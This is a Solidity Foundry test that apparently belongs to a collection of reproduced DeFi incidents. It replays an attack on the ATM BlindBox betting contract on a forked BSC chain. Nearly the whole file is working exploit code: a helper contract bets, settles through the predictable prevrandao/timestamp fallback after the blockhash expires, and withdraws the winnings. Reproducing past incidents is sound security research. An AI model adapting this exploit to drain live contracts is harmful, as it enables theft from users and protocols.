src/test/2026-03/ATMBlindBox_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.19;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 13,000,000 ATM (~99,000 USD)
8// Attacker : 0x3f9Bd963641e969Fc0c9Ddf1c67e210e84915b7D
9// Attack Contract : 0x9C1819640201f223596FaD4F6401900B4B732eeA
10// Vulnerable Contract : 0x1F8336aEF584795E282FECe8DE356BaBD7734c59
11// Victim : 0x1F8336aEF584795E282FECe8DE356BaBD7734c59
12// Attack Tx : https://bscscan.com/tx/0xb74a572967ce997afa5920811e6a9dc8b82a6e41ee31fa4d1a24a85aec89e342
13 
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x1F8336aEF584795E282FECe8DE356BaBD7734c59#code
16 
17// @Analysis
18// Twitter Guy : https://t.me/defimon_alerts/2808
19//
20// ATM BlindBox let users choose when to settle bets. After blockhash(betBlock + 2) expired,
21// settlement fell back to keccak256(block.prevrandao, betId, block.timestamp), which the
22// attacker could evaluate before submitting a winning settlement.
23 
24address constant ATTACKER = 0x3f9Bd963641e969Fc0c9Ddf1c67e210e84915b7D;
25address constant HISTORICAL_ATTACK_CONTRACT = 0x9C1819640201f223596FaD4F6401900B4B732eeA;
26address constant BLINDBOX = 0x1F8336aEF584795E282FECe8DE356BaBD7734c59;
27address constant ATM_TOKEN = 0x9C86F45905868317baCB8f442653d5E9a6888888;
28address constant DEAD = 0x000000000000000000000000000000000000dEaD;
29 
30interface IBlindBox {
31    function nextBetId() external view returns (uint256);
32    function cachedBlockHash(
33        uint256 blockNumber
34    ) external view returns (bytes32);
35    function bets(
36        uint256 betId
37    ) external view returns (address user, uint256 amount, uint256 blockNum, uint256 oddDigit, bool settled);
38    function settle(
39        uint256 betId
40    ) external;
41}
42 
43contract ContractTest is BaseTestWithBalanceLog {
44    IERC20 private constant atm = IERC20(ATM_TOKEN);
45    IBlindBox private constant blindBox = IBlindBox(BLINDBOX);
46 
47    function setUp() public {
48        uint256 forkBlock = 87_517_071;
49        vm.createSelectFork("bsc", forkBlock);
50        fundingToken = ATM_TOKEN;
51        attacker = ATTACKER;
52 
53        vm.label(ATTACKER, "Attacker EOA");
54        vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack helper");
55        vm.label(BLINDBOX, "ATM BlindBox");
56        vm.label(ATM_TOKEN, "ATM");
57        vm.label(DEAD, "ATM DEAD payout pool");
58    }
59 
60    function testExploit() public balanceLog {
61        ATMBlindBoxHelper helper = new ATMBlindBoxHelper(ATTACKER);
62 
63        // step 1: give the local helper the same large-bet capital as the delayed placement tx.
64        uint256 largeBetAmount = 300_000 ether;
65        deal(ATM_TOKEN, address(helper), largeBetAmount);
66        assertGt(atm.balanceOf(DEAD), (largeBetAmount * 195) / 100, "DEAD payout balance");
67 
68        // step 2: place an even-parity large bet in the same block as the historical placement.
69        vm.roll(87_517_072);
70        vm.warp(1_773_931_227);
71        uint256 expectedBetId = blindBox.nextBetId();
72        assertEq(expectedBetId, 0x1410, "historical delayed bet id");
73 
74        vm.prank(ATTACKER, ATTACKER);
75        helper.placeLargeBet(largeBetAmount);
76 
77        (, uint256 recordedAmount, uint256 betBlock, uint256 parity, bool settledBefore) = blindBox.bets(expectedBetId);
78        assertEq(recordedAmount, largeBetAmount, "recorded bet amount");
79        assertEq(betBlock, block.number, "recorded bet block");
80        assertEq(parity, 0, "even parity");
81        assertFalse(settledBefore, "bet should be open");
82 
83        // step 3: settle after the target blockhash has expired, using the actual winning fallback inputs.
84        uint256 targetBlock = betBlock + 2;
85        vm.roll(87_517_892);
86        vm.warp(1_773_931_596);
87        vm.prevrandao(bytes32(uint256(0x12c)));
88        assertEq(block.number - targetBlock, 818, "target block age");
89        assertEq(blockhash(targetBlock), bytes32(0), "expired target blockhash");
90 
91        bytes32 fallbackHash = keccak256(abi.encodePacked(block.prevrandao, expectedBetId, block.timestamp));
92        assertEq(uint256(fallbackHash) % 16, 2, "winning even fallback digit");
93 
94        uint256 helperBeforeSettle = atm.balanceOf(address(helper));
95        vm.prank(ATTACKER, ATTACKER);
96        helper.settleBet(expectedBetId);
97 
98        uint256 largeBetPayout = (largeBetAmount * 195) / 100;
99        assertEq(atm.balanceOf(address(helper)) - helperBeforeSettle, largeBetPayout, "large bet payout");
100        assertEq(blindBox.cachedBlockHash(targetBlock), fallbackHash, "cached fallback hash");
101 
102        // step 4: forward the gained ATM to the attacker and assert net round profit over the staked ATM.
103        uint256 attackerBeforeWithdraw = atm.balanceOf(ATTACKER);
104        vm.prank(ATTACKER, ATTACKER);
105        helper.withdrawATM();
106        uint256 attackerReceived = atm.balanceOf(ATTACKER) - attackerBeforeWithdraw;
107        assertGt(attackerReceived - largeBetAmount, 280_000 ether, "net ATM profit");
108    }
109}
110 
111contract ATMBlindBoxHelper {
112    address private immutable owner;
113    IERC20 private constant atm = IERC20(ATM_TOKEN);
114    IBlindBox private constant blindBox = IBlindBox(BLINDBOX);
115 
116    constructor(
117        address owner_
118    ) {
119        owner = owner_;
120    }
121 
122    function placeLargeBet(
123        uint256 amount
124    ) external {
125        require(msg.sender == owner, "only owner");
126        atm.transfer(DEAD, amount);
127    }
128 
129    function settleBet(
130        uint256 betId
131    ) external {
132        require(msg.sender == owner, "only owner");
133        blindBox.settle(betId);
134    }
135 
136    function withdrawATM() external {
137        require(msg.sender == owner, "only owner");
138        atm.transfer(owner, atm.balanceOf(address(this)));
139    }
140}